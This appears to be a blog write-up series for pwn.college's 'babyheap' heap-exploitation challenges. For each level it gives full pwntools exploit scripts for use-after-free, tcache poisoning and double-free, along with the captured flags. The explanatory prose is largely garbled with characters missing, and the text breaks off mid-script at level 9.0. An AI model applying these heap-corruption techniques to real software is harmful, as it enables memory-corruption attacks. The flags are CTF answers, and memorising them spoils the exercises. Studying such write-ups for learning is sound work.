┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Write-ups: Program Security (Dynamic Allocator Misuse)
series (Completed)
~ CuB3y0nd
# 

 2025-01-25 
线
 25  9 ……
……


 glibc 
……

# Level 1.0

## Information

- Category: Pwn

## Description

> Exploit a use-after-free vulnerability to get the flag.

## Write-up



`read_flag`  malloc 330  flag  malloc 

`puts`  `ptr`  read_flag  mall
oc  ptr  puts  flag 

 glibc  bins  free chunk
 malloc  330  free  malloc 330 
 malloc 330 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    log,
    process,
    raw_input,
    remote,
)

FILE = "/challenge/babyheap_level1.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Size: ", str(size))


def free():
    target.sendlineafter(b": ", b"free")


def puts():
    target.sendlineafter(b": ", b"puts")


def read_flag():
    target.sendlineafter(b": ", b"read_flag")


def quit():
    target.sendlineafter(b": ", b"quit")


def main():
    launch()

    malloc(330)
    free()
    read_flag()
    puts()
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{8_UCfYUIGnvHU86NU1Qe-H6dK1o.0VM3MDL5cTNxgzW}`]

# Level 1.1

## Information

- Category: Pwn

## Description

> Exploit a use-after-free vulnerability to get the flag.

## Write-up

 [Level 1.0](#level-10)

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    log,
    process,
    raw_input,
    remote,
)

FILE = "/challenge/babyheap_level1.1"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Size: ", str(size))


def free():
    target.sendlineafter(b": ", b"free")


def puts():
    target.sendlineafter(b": ", b"puts")


def read_flag():
    target.sendlineafter(b": ", b"read_flag")


def quit():
    target.sendlineafter(b": ", b"quit")


def main():
    launch()

    malloc(618)
    free()
    read_flag()
    puts()
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{8oPO3KqdZU5lZfzl5xftjR2IZif.0lM3MDL5cTNxgzW}`]

# Level 2.0

## Information

- Category: Pwn

## Description

> Create and exploit a use-after-free vulnerability to get the flag.

## Write-up

 [Level 1](#level-10)  malloc  flag 使 `rand
() % 872 + 128` $[ 0+128,872+128)$ 
 bin 

[rand](https://en.cppreference.com/w/c/numeric/random/rand) 
 break PRNG [线](/posts/pwn-no
tes/pwn-trick-notes/#线)

 `__libc_csu_init`  `flag_seed`
 `srand(seed)` seed 
 debug  seed
 bins tcache bins  rand 


## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    log,
    process,
    raw_input,
    remote,
)

FILE = "/challenge/babyheap_level2.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Size: ", str(size))


def free():
    target.sendlineafter(b": ", b"free")


def puts():
    target.sendlineafter(b": ", b"puts")


def read_flag():
    target.sendlineafter(b": ", b"read_flag")


def quit():
    target.sendlineafter(b": ", b"quit")


def test_size(candidate):
    launch()
    malloc(candidate)
    free()
    read_flag()
    puts()

    response = target.recvall(timeout=0.01)
    if b"pwn.college{" in response:
        target.close()
        return True
    return False


def main():
    for bin in range(0x20, 0x410 + 1, 0x10):
        base_req = bin - 0x10
        ok = test_size(base_req)
        if ok:
            log.success(
                f"Found working requested size: {hex(base_req)} for tcache bin {
hex(bin)}"
            )
            return
        log.warning("Exhausted candidates, none matched.")
    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{ME7LG_Jy8T-xEw9H_njxpD2aJ4z.01M3MDL5cTNxgzW}`]

# Level 2.1

## Information

- Category: Pwn

## Description

> Create and exploit a use-after-free vulnerability to get the flag.

## Write-up

 [Level 2.0](#level-20)

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    log,
    process,
    raw_input,
    remote,
)

FILE = "/challenge/babyheap_level2.1"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Size: ", str(size))


def free():
    target.sendlineafter(b": ", b"free")


def puts():
    target.sendlineafter(b": ", b"puts")


def read_flag():
    target.sendlineafter(b": ", b"read_flag")


def quit():
    target.sendlineafter(b": ", b"quit")


def test_size(candidate):
    launch()
    malloc(candidate)
    free()
    read_flag()
    puts()

    response = target.recvall(timeout=0.01)
    if b"pwn.college{" in response:
        target.close()
        return True
    return False


def main():
    for bin in range(0x20, 0x410 + 1, 0x10):
        base_req = bin - 0x10
        ok = test_size(base_req)
        if ok:
            log.success(
                f"Found working requested size: {hex(base_req)} for tcache bin {
hex(bin)}"
            )
            return
        log.warning("Exhausted candidates, none matched.")
    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{MihEcPIR1bQBmiQGOoGELSrscgW.0FN3MDL5cTNxgzW}`]

# Level 3.0

## Information

- Category: Pwn

## Description

> Create and exploit a use-after-free vulnerability to get the flag when multipl
e allocations occur.

## Write-up

 `ptr`  16  `read_flag
`  malloc flag  malloc 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    log,
    process,
    raw_input,
    remote,
)

FILE = "/challenge/babyheap_level3.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx))
    target.sendlineafter(b"Size: ", str(size))


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx))


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx))


def read_flag():
    target.sendlineafter(b": ", b"read_flag")


def quit():
    target.sendlineafter(b": ", b"quit")


def main():
    launch()

    malloc(0, 773)
    malloc(1, 773)
    free(0)
    free(1)
    read_flag()
    puts(0)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{wvvL-j9QzjeoJrOsQS4Vval7exq.0VN3MDL5cTNxgzW}`]

# Level 3.1

## Information

- Category: Pwn

## Description

> Create and exploit a use-after-free vulnerability to get the flag when multipl
e allocations occur.

## Write-up

 [Level 3.0](#level-30)

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    log,
    process,
    raw_input,
    remote,
)

FILE = "/challenge/babyheap_level3.1"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx))
    target.sendlineafter(b"Size: ", str(size))


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx))


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx))


def read_flag():
    target.sendlineafter(b": ", b"read_flag")


def quit():
    target.sendlineafter(b": ", b"quit")


def main():
    launch()

    malloc(0, 911)
    malloc(1, 911)
    free(0)
    free(1)
    read_flag()
    puts(0)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{wDLulwEpEQfpi78_Z4CAniTrByQ.0lN3MDL5cTNxgzW}`]

# Level 4.0

## Information

- Category: Pwn

## Description

> Corrupt the TCACHE entry_struct value to get the flag when multiple allocation
s occur.

## Write-up


 pwn.college 姿

`ptr`  malloc `read_
flag`  malloc flag  malloc 

 `scanf` 

```c
      if ( strcmp(s1, "scanf") )
        break;
      v3 = malloc_usable_size(ptr);
      sprintf(s1, "%%%us", v3);
      v4 = malloc_usable_size(ptr);
      printf("[*] scanf("%%%us", allocations[%d])n", v4, 0);
      __isoc99_scanf(s1, ptr);
      puts(byte_246E);
```

 `malloc_usable_size(ptr)`  ptr  data 
 `sprintf(s1, "%%%us", v3)`  `s1` `%%%us` 
 `%` `%u`  `unsigned int` `s` `v4`
  `%v4s` 

`__isoc99_scanf(s1, ptr)` 使 s1 
 ptr 

:::important
tcache / fastbin 使 fd  tcache  fd  fr
ee chunk  data  fastbin  fd  free chunk  metadata 

:::



 malloc / free  ptr  `read_f
lag`  flag  ptr  5 
 ptr  flag ……
 pitfall  awww……
……
[](https://memos.cubeyond.net/memos/NmPqpLBtMjrvZmUBMcPy92)……

 malloc  flag  ptr  ma
lloc  free  tcachebin 
 read_flag  malloc  free  chunk
 chunk  arena  chunk  flag
  ptr ……<s>
</s> read_flag  
malloc  malloc free tcachebin 
 free chunk  double free  abort


 glibc-2.31 pwn.college  2.31[
 free chunks: Double Free, Double Fun ?](/posts/pwn-notes/pwn-trick-notes/#
-free-chunks-double-free-double-fun-)

 scanf  ptr  data 
scanf  `x00` ptr  tcachebi
n `malloc -> free -> scanf -> free -> read_flag -> put
s`

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    process,
    raw_input,
    remote,
)

FILE = "/challenge/babyheap_level4.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Size: ", str(size).encode("ascii"))


def free():
    target.sendlineafter(b": ", b"free")


def puts():
    target.sendlineafter(b": ", b"puts")


def scanf(data):
    target.sendlineafter(b": ", b"scanf")
    target.sendline(data)


def read_flag():
    target.sendlineafter(b": ", b"read_flag")


def quit():
    target.sendlineafter(b": ", b"quit")


def main():
    launch()

    malloc(542)
    free()
    scanf(b"A" * 8)
    free()
    read_flag()
    puts()
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{oZ6_TOkCX4vXbuU0gTGgGHmYWRJ.01N3MDL5cTNxgzW}`]

# Level 4.1

## Information

- Category: Pwn

## Description

> Corrupt the TCACHE entry_struct value to get the flag when multiple allocation
s occur.

## Write-up

 [Level 4.0](#level-40)

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    process,
    raw_input,
    remote,
)

FILE = "/challenge/babyheap_level4.1"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Size: ", str(size).encode("ascii"))


def free():
    target.sendlineafter(b": ", b"free")


def puts():
    target.sendlineafter(b": ", b"puts")


def scanf(data):
    target.sendlineafter(b": ", b"scanf")
    target.sendline(data)


def read_flag():
    target.sendlineafter(b": ", b"read_flag")


def quit():
    target.sendlineafter(b": ", b"quit")


def main():
    launch()

    malloc(708)
    free()
    scanf(b"A" * 8)
    free()
    read_flag()
    puts()
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{MHf4zKVq2DfY5MtZr8YZABG0Z4S.0FO3MDL5cTNxgzW}`]

# Level 5.0

## Information

- Category: Pwn

## Description

> Apply the TCACHE metadata in an unintended manner to set a value.

## Write-up

 ptr `read_flag`  flag  malloc  16 
 `puts_flag` 

```c
    if ( strcmp(s1, "puts_flag") )
      break;
    if ( *(_QWORD *)size_4 )
      puts(size_4 + 16);
    else
      puts("Not authorized!");
```

 read_flag  malloc  8  flag 

 `mlloc_chunk`  8  fd 
 chunk data  fd  free 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    process,
    raw_input,
    remote,
)

FILE = "/challenge/babyheap_level5.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
    target.sendlineafter(b"Size: ", str(size).encode("ascii"))


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))


def read_flag():
    target.sendlineafter(b": ", b"read_flag")


def puts_flag():
    target.sendlineafter(b": ", b"puts_flag")


def quit():
    target.sendlineafter(b": ", b"quit")


def main():
    launch()

    malloc(0, 496)
    malloc(1, 496)
    free(0)
    free(1)
    read_flag()
    free(1)
    puts_flag()
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{ckg3CON3ru3-ygB82VxLMcRUuBS.0VO3MDL5cTNxgzW}`]

# Level 5.1

## Information

- Category: Pwn

## Description

> Apply the TCACHE metadata in an unintended manner to set a value.

## Write-up

 [Level 5.0](#level-50)

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    process,
    raw_input,
    remote,
)

FILE = "/challenge/babyheap_level5.1"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
    target.sendlineafter(b"Size: ", str(size).encode("ascii"))


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))


def read_flag():
    target.sendlineafter(b": ", b"read_flag")


def puts_flag():
    target.sendlineafter(b": ", b"puts_flag")


def quit():
    target.sendlineafter(b": ", b"quit")


def main():
    launch()

    malloc(0, 456)
    malloc(1, 456)
    free(0)
    free(1)
    read_flag()
    free(1)
    puts_flag()
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{YWZIg8kQV_nzpSzsFagMNO6O6Qn.0FM4MDL5cTNxgzW}`]

# Level 6.0

## Information

- Category: Pwn

## Description

> Corrupt the TCACHE entry_struct to read unintended memory.

## Write-up

ptr `scanf`  chunk  data`send_flag`  sec
ret  bss  secret  flag 

 8  secret 

```c
  for ( i = 0; i <= 7; ++i )
    byte_428849[i] = rand() % 26 + 97;
```

 PIE secret  bss  secret 


`puts`  `ptr[idx]`  mall
oc  ptr[idx]  bss  secret  secret 

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    p32,
    process,
    raw_input,
    remote,
)

FILE = "/challenge/babyheap_level6.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
    target.sendlineafter(b"Size: ", str(size).encode("ascii"))


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))


def scanf(idx, data):
    target.sendlineafter(b": ", b"scanf")
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
    target.sendline(data)


def send_flag(secret):
    target.sendlineafter(b": ", b"send_flag")
    target.sendlineafter(b"Secret: ", str(secret).encode("ascii"))


def quit():
    target.sendlineafter(b": ", b"quit")


def main():
    launch()

    secret = elf.bss() + 0x18849

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    scanf(0, p32(secret))
    malloc(0, 0)
    malloc(0, 0)
    puts(0)

    target.recvuntil(b"Data: ")
    secret = target.recvline().strip().decode("ascii")
    send_flag(secret)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{wLCxyleFYPCBwUq2LzFkqEM8qzv.0VM4MDL5cTNxgzW}`]

# Level 6.1

## Information

- Category: Pwn

## Description

> Corrupt the TCACHE entry_struct to read unintended memory.

## Write-up

 [Level 6.0](#level-60)

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    p32,
    process,
    raw_input,
    remote,
)

FILE = "/challenge/babyheap_level6.1"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
    target.sendlineafter(b"Size: ", str(size).encode("ascii"))


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))


def scanf(idx, data):
    target.sendlineafter(b": ", b"scanf")
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
    target.sendline(data)


def send_flag(secret):
    target.sendlineafter(b": ", b"send_flag")
    target.sendlineafter(b"Secret: ", str(secret).encode("ascii"))


def quit():
    target.sendlineafter(b": ", b"quit")


def main():
    launch()

    secret = elf.bss() + 0x1B553

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    scanf(0, p32(secret))
    malloc(0, 0)
    malloc(0, 0)
    puts(0)

    target.recvuntil(b"Data: ")
    secret = target.recvline().strip().decode("ascii")
    send_flag(secret)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{oc9V7EmGNRr7415ZlPgXYL-qDjV.0lM4MDL5cTNxgzW}`]

# Level 7.0

## Information

- Category: Pwn

## Description

> Corrupt the TCACHE entry_struct to read unintended memory.

## Write-up

 16 

```c
  for ( i = 0; i <= 15; ++i )
    byte_429532[i] = rand() % 26 + 97;
```

 malloc  secret  `e->key = NUL
L` 8 

 8  8 
 8 

 seed seed  
secret 


```c
unsigned __int64 flag_seed()
{
  unsigned int seed; // [rsp+4h] [rbp-9Ch]
  unsigned int i; // [rsp+8h] [rbp-98h]
  int fd; // [rsp+Ch] [rbp-94h]
  _QWORD buf[17]; // [rsp+10h] [rbp-90h] BYREF
  unsigned __int64 v5; // [rsp+98h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  memset(buf, 0, 128);
  fd = open("/flag", 0);
  if ( fd < 0 )
    __assert_fail("fd >= 0", "<stdin>", 0x20u, "flag_seed");
  if ( read(fd, buf, 0x80uLL) <= 0 )
    __assert_fail("read(fd, flag, 128) > 0", "<stdin>", 0x21u, "flag_seed");
  seed = 0;
  for ( i = 0; i <= 31; ++i )
    seed ^= *((_DWORD *)buf + (int)i);
  srand(seed);
  memset(buf, 0, 128uLL);
  return __readfsqword(0x28u) ^ v5;
}
```

 secret ch
unk size…………

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    p32,
    process,
    raw_input,
    remote,
)

FILE = "/challenge/babyheap_level7.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
    target.sendlineafter(b"Size: ", str(size).encode("ascii"))


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))


def scanf(idx, data):
    target.sendlineafter(b": ", b"scanf")
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
    target.sendline(data)


def send_flag(secret):
    target.sendlineafter(b": ", b"send_flag")
    target.sendlineafter(b"Secret: ", str(secret).encode("ascii"))


def quit():
    target.sendlineafter(b": ", b"quit")


def main():
    launch()

    secret_p1 = elf.bss() + 0x19532
    secret_p2 = secret_p1 + 0x8

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    scanf(0, p32(secret_p1))
    malloc(0, 0)
    malloc(0, 0)
    puts(0)

    target.recvuntil(b"Data: ")
    secret_p1 = target.recvline().strip().decode("ascii")
    target.success(f"Part 1: {secret_p1}")
    target.close()
    launch()

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    scanf(0, p32(secret_p2))
    malloc(0, 0)
    malloc(0, 0)
    puts(0)

    target.recvuntil(b"Data: ")
    secret_p2 = target.recvline().strip().decode("ascii")
    target.success(f"Part 2: {secret_p2}")

    secret = secret_p1 + secret_p2
    send_flag(secret)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{QXpTguKBiT4StYFr24ZsUSfm3-8.01M4MDL5cTNxgzW}`]

# Level 7.1

## Information

- Category: Pwn

## Description

> Corrupt the TCACHE entry_struct to read unintended memory.

## Write-up

 [Level 7.0](#level-70)

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    p32,
    process,
    raw_input,
    remote,
)

FILE = "/challenge/babyheap_level7.1"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
    target.sendlineafter(b"Size: ", str(size).encode("ascii"))


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))


def scanf(idx, data):
    target.sendlineafter(b": ", b"scanf")
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
    target.sendline(data)


def send_flag(secret):
    target.sendlineafter(b": ", b"send_flag")
    target.sendlineafter(b"Secret: ", str(secret).encode("ascii"))


def quit():
    target.sendlineafter(b": ", b"quit")


def main():
    launch()

    secret_p1 = elf.bss() + 0x17051
    secret_p2 = secret_p1 + 0x8

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    scanf(0, p32(secret_p1))
    malloc(0, 0)
    malloc(0, 0)
    puts(0)

    target.recvuntil(b"Data: ")
    secret_p1 = target.recvline().strip().decode("ascii")
    target.success(f"Part 1: {secret_p1}")
    target.close()
    launch()

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    scanf(0, p32(secret_p2))
    malloc(0, 0)
    malloc(0, 0)
    puts(0)

    target.recvuntil(b"Data: ")
    secret_p2 = target.recvline().strip().decode("ascii")
    target.success(f"Part 2: {secret_p2}")

    secret = secret_p1 + secret_p2
    send_flag(secret)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{cy0iZfUAyZ9bbo5DL_cS-9sxRN6.0FN4MDL5cTNxgzW}`]

# Level 8.0

## Information

- Category: Pwn

## Description

> Leverage TCACHE exploits to pass a validation check.

## Write-up

 secret  `x0a` 
 LF (Line Feed) `scanf`  `x0a`
 exp 


 scanf overwrite fd secret  4 
 12/16  secret 
 chunk 
 bruteforce  approach $1/2
6^{4}$  chance 线 2h 45min……
3h 3h ……

 AI 线 approach
……

 AI 线
/

 secret 
~穿……~

```c
    if ( strcmp(s1, "send_flag") )
      break;
    printf("Secret: ");
    __isoc99_scanf("%127s", s1);
    puts(s_0);
    if ( !memcmp(s1, s2_0, 0x10u) )
    {
      puts("Authorized!");
      win();
    }
    else
    {
      puts("Not authorized!");
    }
```

 secret……
 malloc  tcache  chunk  key  malloc  secre
t  `tcache_get`  secret  8  secr
et  8  NULL 8 ……

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    p32,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyheap_level8.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
    target.sendlineafter(b"Size: ", str(size).encode("ascii"))


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))


def scanf(idx, data):
    target.sendlineafter(b": ", b"scanf")
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
    target.sendline(data)


def send_flag(secret):
    target.sendlineafter(b": ", b"send_flag")
    target.sendlineafter(b"Secret: ", secret)


def quit():
    target.sendlineafter(b": ", b"quit")


def main():
    launch()

    secret = elf.bss() + 0x1230A + 0x8
    zero_out = elf.bss() + 0x1230A - 0x8

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    scanf(0, p32(secret))
    malloc(0, 0)
    malloc(0, 0)
    puts(0)
    target.recvuntil(b"Data: ")
    secret = target.recvline().strip()

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    # raw_input("DEBUG")
    scanf(0, p32(zero_out))
    malloc(0, 0)
    malloc(0, 0)

    # raw_input("DEBUG")
    payload = flat(
        0,
        secret,
    )
    send_flag(payload)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{4xf_sG0yXaGhMXdibln3SOAB5xv.0VN4MDL5cTNxgzW}`]

# Level 8.1

## Information

- Category: Pwn

## Description

> Leverage TCACHE exploits to pass a validation check.

## Write-up

 [Level 8.0](#level-80)

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    p32,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyheap_level8.1"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
    target.sendlineafter(b"Size: ", str(size).encode("ascii"))


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))


def scanf(idx, data):
    target.sendlineafter(b": ", b"scanf")
    target.sendlineafter(b"Index: ", str(idx).encode("ascii"))
    target.sendline(data)


def send_flag(secret):
    target.sendlineafter(b": ", b"send_flag")
    target.sendlineafter(b"Secret: ", secret)


def quit():
    target.sendlineafter(b": ", b"quit")


def main():
    launch()

    secret = elf.bss() + 0x19E0A + 0x8
    zero_out = elf.bss() + 0x19E0A - 0x8

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    scanf(0, p32(secret))
    malloc(0, 0)
    malloc(0, 0)
    puts(0)
    target.recvuntil(b"Data: ")
    secret = target.recvline().strip()

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    # raw_input("DEBUG")
    scanf(0, p32(zero_out))
    malloc(0, 0)
    malloc(0, 0)

    # raw_input("DEBUG")
    payload = flat(
        0,
        secret,
    )
    send_flag(payload)
    quit()

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`pwn.college{0K4zGLVnFNCz2zhqd0R7tWLsOLW.0lN4MDL5cTNxgzW}`]

# Level 9.0

## Information

- Category: Pwn

## Description

> Leverage TCACHE exploits to pass a validation check.

## Write-up

 secret  `
tcache_get`  key  secret  secret  NULL 


## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    p32,
    process,
    raw_input,
    remote,
)


FILE = "/challenge/babyheap_level9.0"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b": ", b"malloc")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendlineafter(b"Size: ", str(size).encode())


def free(idx):
    target.sendlineafter(b": ", b"free")
    target.sendlineafter(b"Index: ", str(idx).encode())


def puts(idx):
    target.sendlineafter(b": ", b"puts")
    target.sendlineafter(b"Index: ", str(idx).encode())


def scanf(idx, data):
    target.sendlineafter(b": ", b"scanf")
    target.sendlineafter(b"Index: ", str(idx).encode())
    target.sendline(data)


def send_flag(secret):
    target.sendlineafter(b": ", b"send_flag")
